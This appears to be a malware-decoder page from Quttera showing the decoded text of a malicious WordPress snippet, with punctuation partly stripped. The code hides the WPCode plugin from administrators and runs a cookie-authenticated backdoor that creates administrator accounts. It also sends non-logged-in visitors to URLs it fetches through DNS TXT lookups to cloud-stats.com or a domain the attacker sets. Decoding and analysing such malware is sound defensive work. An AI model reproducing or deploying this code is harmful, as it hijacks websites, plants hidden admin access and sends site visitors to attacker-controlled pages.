Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$d0=18b1dae1f2651a248df1958d36270ccc;
	if(current_user_can(administrator)&&!array_key_exists(show_all$_GET)){
		add_action(admin_print_scriptsfunction(){
		echo <style>;
			echo #toplevel_page_wpcode {
			 display: none;
			 
		};
			echo #wp-admin-bar-wpcode-admin-bar-info {
			 display: none;
			 
		};
			echo #wpcode-notice-global-review_request {
			 display: none;
			 
		};
		echo </style>;
	}
	);
		add_filter(all_pluginsfunction($i1){
		unset($i1[insert-headers-and-footers/ihaf.php]);
		return $i1;
	}
	);
}
	if(!function_exists(_red)){
	error_reporting(0);
	ini_set(display_errors0);
		function _gcookie($z2){
		return(isset($_COOKIE[$z2]))?:'';
	}
		if(!empty($d0)&&_gcookie(pw)===$d0){
			switch(_gcookie(c)){
			case sd:$e3=_gcookie(d);
				if(strpos($e3,.)>0){
				update_option(d$e3);
			}
			break;
			case au:$e4=_gcookie(u);
			$l5=_gcookie(p);
			$p6=_gcookie(e);
				if($e4&&$l5&&$p6&&!username_exists($e4)){
				$w7=wp_create_user($e4,$l5,$p6);
				$x8=new WP_User($w7);
				$x8->set_role(administrator);
			}
			break;
		}
		return;
	}
		function _is_mobile(){
		return preg_match(/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up.browser|up.link|webos|wos)/i$_SERVER[HTTP_USER_AGENT]);
	}
		function _is_iphone(){
		return preg_match(/(iphone|ipod)/i$_SERVER[HTTP_USER_AGENT]);
	}
		function _user_ip(){
			foreach(array(HTTP_CF_CONNECTING_IPHTTP_CLIENT_IPHTTP_X_FORWARDED_FORHTTP_X_FORWARDEDHTTP_X_CLUSTER_CLIENT_IPHTTP_FORWARDED_FORHTTP_FORWARDEDREMOTE_ADDR)as $m9){
				if(array_key_exists($m9,$_SERVER)&&!empty($_SERVER[$m9])){
					foreach(explode(,$_SERVER[$m9])as $v10){
					$v10=trim($v10);
						if(filter_var($v10,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){
						return $v10;
					}
				}
			}
		}
		return false;
	}
		function _red(){
			if(is_user_logged_in()){
			return;
		}
		$v10=_user_ip();
			if(!$v10){
			return;
		}
		$h11=get_transient(exp);
			if(!is_array($h11)){
			$h11=array();
		}
			foreach($h11 as $q12=>$e13){
				if(time()-$e13>86400){
				unset($h11[$q12]);
			}
		}
			if(key_exists($v10,$h11)&&(time()-$h11[$v10]<86400)){
			return;
		}
		$m14=filter_var(parse_url(https://.$_SERVER[HTTP_HOST],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
		$u15=str_replace(:-$v10);
		$u15=str_replace(.-$u15);
		$v16=cloud-stats.com;
		$h17=get_option(d);
			if($h17&&strpos($h17,.)>0){
			$v16=$h17;
		}
		$g18=_is_iphone()?i:m;
		$q19=(!$m14?unk.com:$m14)...(!$u15?0-0-0-0:$u15)...mt_rand(100000,999999)...(_is_mobile()?n.$g18:nd)...$v16;
		$p20=@dns_get_record($q19,DNS_TXT);
			if(is_array($p20)&&!empty($p20)){
				if(isset($p20[0][txt])){
				$p20=$p20[0][txt];
				$p20=;
					if($p20==err){
					$h11[$v10]=time();
					delete_transient(exp);
					set_transient(exp$h11);
				}
					else if(substr($p20,0,4)===http){
					$h11[$v10]=time();
					delete_transient(exp);
					set_transient(exp$h11);
					wp_redirect($p20);
					exit;
				}
			}
		}
	}
	add_action(init_red);
}



© 2023 Quttera Ltd. All rights reserved.